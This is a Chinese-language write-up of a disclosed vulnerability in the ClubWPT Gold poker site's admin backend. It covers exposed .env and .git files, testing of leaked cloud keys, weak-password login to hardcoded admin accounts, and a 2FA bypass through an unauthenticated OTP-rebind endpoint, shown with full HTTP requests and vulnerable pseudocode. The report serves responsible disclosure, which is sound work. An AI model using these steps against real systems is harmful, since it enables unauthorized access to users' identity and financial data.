概述
2025年6月,安全研究人员 Shubs Shah 和 Sam Curry 在在线扑克网站 ClubWPT Gold 中发现了一处安全漏洞,该漏洞允许攻击者完全访问用于所有管理功能的核心后台管理应用。
攻击者可能借此窃取驾照、护照号码、IP地址、交易记录、游戏历史等敏感信息。
漏洞报告后,ClubWPT迅速修复,确认该漏洞未被恶意利用,相关主机现已不可访问,双方均确认漏洞无法复现。
介绍
得知世界扑克巡回赛(World Poker Tour)推出了合法的美国在线扑克网站 ClubWPT Gold 后,白帽小哥注册账号并通过信用卡购买了“sweep coins”(可用于游戏的积分),从而参与赌bo比赛。
随着深入体验,作者对 ClubWPT Gold 的技术架构产生了好奇,开始调查网站。
奇怪的域名
在分析游戏时,作者发现 JavaScript 环境变量中有一个奇怪的 URL:
VITE_URL_AMOE_CODE:"https://apigate.clubwpt.liuxinyi1.cn/amoeserver"
该域名“liuxinyi1.cn”是中国域名,和 ClubWPT Gold(美国公司)无关,该域下存在众多与 ClubWPT Gold 服务相关的子域,如:
coin-admin.clubwpt.liuxinyi1.cn
proxy-server.clubwpt.liuxinyi1.cn
gameserver.clubwpt-dev.liuxinyi1.cn
...
zlz@sd-156740 ~> subs liuxinyi1.cn | grep -i clubwpt
coin-admin.clubwpt-dev.liuxinyi1.cn -> 18.142.27.164
proxy-server.clubwpt.liuxinyi1.cn -> 54.251.42.68
gameserver.clubwpt-dev.liuxinyi1.cn -> 18.142.27.164
coin-admin-kai.clubwpt.liuxinyi1.cn -> 54.251.42.68
reverse-proxy.clubwpt.liuxinyi1.cn -> 54.251.42.68
coin-admin-ek.clubwpt.liuxinyi1.cn -> 54.251.42.68
mtt-resource.clubwpt.liuxinyi1.cn -> 54.251.42.68
reverse-proxy.clubwpt-dev.liuxinyi1.cn -> 18.142.27.164
mtt-apimtt.clubwpt.liuxinyi1.cn -> 54.251.42.68
release-wc.frontend.clubwpt.liuxinyi1.cn -> 54.251.42.68
world.clubwpt.liuxinyi1.cn -> 54.251.42.68
vue-alli.clubwpt-dev.liuxinyi1.cn -> 18.142.27.164
clubwpt.liuxinyi1.cn -> 13.250.188.192
ploserver.clubwpt.liuxinyi1.cn -> 54.251.42.68
其中最值得关注的是 coin-admin.clubwpt.liuxinyi1.cn
,这是一个通用登录页面,疑似后台管理系统入口。
漏洞挖掘
利用工具 ffuf 扫描站点,发现有未受保护的目录和文件:
.env
: 包含大量秘密密钥,包括阿里云凭证等.git
目录:暴露了后台管理面板的全部源代码
使用阿里云 CLI 工具测试阿里云凭证,发现无任何权限。
zlz@sd-156740 ~> export ALIBABA_CLOUD_ACCESS_KEY_ID=KEY_ID_FROM_ENV
zlz@sd-156740 ~> export ALIBABA_CLOUD_ACCESS_KEY_SECRET=KEY_SECRET_FROM_ENV
zlz@sd-156740 ~> aliyun oss ls oss://bucket-name-leaked-in-env/
ERROR: oss: service returned error: StatusCode=403, ErrorCode=AccessDenied, ErrorMessage="The bucket you access does not belong to you.", RequestId=68B6D3EDCD8814372859C7C9, Ec=0003-00000001, Bucket=bucket-name-leaked-in-env, Object=
通过 Python3 的 GitHack 工具,成功下载完整后台代码,涉及数百个 PHP 文件。
python3 GitHack.py https://coin-admin.clubwpt.liuxinyi1.cn/.git/
代码审查后,发现核心认证机制还是比较靠谱的,但存在一个2FA(双重认证)的绕过漏洞,但缺少合法账户来验证该漏洞。
默认账号及弱口令
“.env”文件中有这样一行有趣的内容::
manager = jake,eg3478,mike2278,develop
这些看起来像是硬编码到环境变量中的用户名,通过检查源代码,发现网站使用这些值来为某些用户分配应用程序的管理权限,因此它们可能是有效的账户。
利用 Burp Suite 的 intruder 工具对“123456”和“admin”等弱口令进行尝试,所有响应都是“无效密码”。
其中一个结果会重定向到“index.html”。
请求包:
POST /admin/login/index.html HTTP/2
Host: coin-admin.clubwpt.liuxinyi1.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
username=eg3478&password=123456&change_timezone=PST
响应包:
HTTP/2 302 Found
Location: /admin/login/index.html
Set-Cookie: s46ea418a=c438f2a0dd6ab3022939d4bf339dce63; path=/; HttpOnly
测试弱密码如“123456”,发现用户“eg3478”密码正确,并且未启用2FA,于是成功登录后台测试环境!
该后台包含丰富管理功能:查看用户KYC(身份验证)信息、增删账户积分、禁止账户、查询游戏历史等,但由于是测试环境,数据均为假数据。
入侵生产环境后台
通过子域名查找和证书枚举,发现生产环境后台管理页面 coin-admin.clubwptgold.com
,启用了 Cloudflare Zero Trust 防护。
zlz@sd-156740 ~> subs clubwptgold.com | grep -i admin
https://coin-admin.clubwptgold.com [403] [] [4517] [Attention Required! | Cloudflare] [Cloudflare,HTTP/3]
尝试使用测试环境认证信息登录成功,但遭遇2FA。
借助之前发现的2FA绕过漏洞,利用未认证接口修改任意用户的2FA密钥,成功绕过2FA登录生产后台。
function bind() {
// values pulled from user input
$secret = input("secret"); // attacker controls this
$user_id = input("uid"); // attacker controls this
// check if user already has a 2FA record
$record = DB.find("UserOtp", where uid = $user_id);
if ($record exists) {
// update with attacker-supplied secret
DB.update("UserOtp", where uid = $user_id, data = {
secret => $secret,
update_time => now()
});
} else {
// insert new record for attacker-chosen uid
DB.insert("UserOtp", data = {
uid => $user_id,
secret => $secret,
create_time => now(),
update_time => now()
});
}
// always returns "success"
return json({
code => 0,
url => "/admin/otp/index"
});
}
请求包:
POST /admin/otp/bind HTTP/2
Host: origin_ip_of_production_admin_panel
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 33
uid=10009&secret=XN5XPR72SDX2U3M2
响应包:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 65
{
"code": 0,
"url": "/admin/otp/index"
}
登录后见到真实用户数据,包括 Gmail 地址、电话及完整的 KYC 信息。
后台还可查看存款、充值记录、AMOE 请求、用户IP及地理坐标、财务统计等敏感数据。
反馈与修复
在发现真实用户隐私信息后,作者团队立刻停止了进一步操作,第一时间联系了 ClubWPT Gold 多位负责人,最终与平台基础架构负责人建立了联系。
漏洞披露后,ClubWPT Gold 迅速修复,态度积极配合确保问题彻底解决。